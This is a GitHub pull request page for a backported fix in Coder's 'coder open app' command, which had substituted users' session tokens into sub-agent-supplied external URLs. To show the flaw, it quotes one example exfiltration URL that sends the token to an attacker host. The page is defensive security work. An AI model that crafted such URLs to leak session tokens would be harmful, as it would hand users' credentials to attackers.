Skip to content

fix: prevent session token exfiltration via external app URLs (#26146)#26302

Merged
f0ssel merged 1 commit into
release/2.34from
backport/26146-to-2.34
Jun 11, 2026
Merged

fix: prevent session token exfiltration via external app URLs (#26146)#26302
f0ssel merged 1 commit into
release/2.34from
backport/26146-to-2.34

Conversation

@github-actions

Copy link
Copy Markdown

Backport of #26146

Original PR: #26146 — fix: prevent session token exfiltration via external app URLs
Merge commit: 9b550cb
Requested by: @f0ssel

`coder open app` substituted the user's session token into any external
workspace-app URL containing `$SESSION_TOKEN` before opening, letting a
malicious sub-agent exfiltrate the token via a URL like
`https://attacker.example/?t=$SESSION_TOKEN`.

Substitution is now restricted to URLs from top-level
(template-authored) agents. Sub-agent URLs that still contain
`$SESSION_TOKEN` are printed for the user to inspect and substitute
manually rather than opened automatically. Sub-agent URLs without the
placeholder are unaffected.

(cherry picked from commit 9b550cb)
@github-actions github-actions Bot requested a review from f0ssel June 11, 2026 20:10
@github-actions

Copy link
Copy Markdown
Author

Docs preview

📖 View docs preview for docs/user-guides/devcontainers/customizing-dev-containers.md

@f0ssel f0ssel merged commit d7774e5 into release/2.34 Jun 11, 2026
23 checks passed
@f0ssel f0ssel deleted the backport/26146-to-2.34 branch June 11, 2026 20:12
@github-actions github-actions Bot locked and limited conversation to collaborators Jun 11, 2026
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants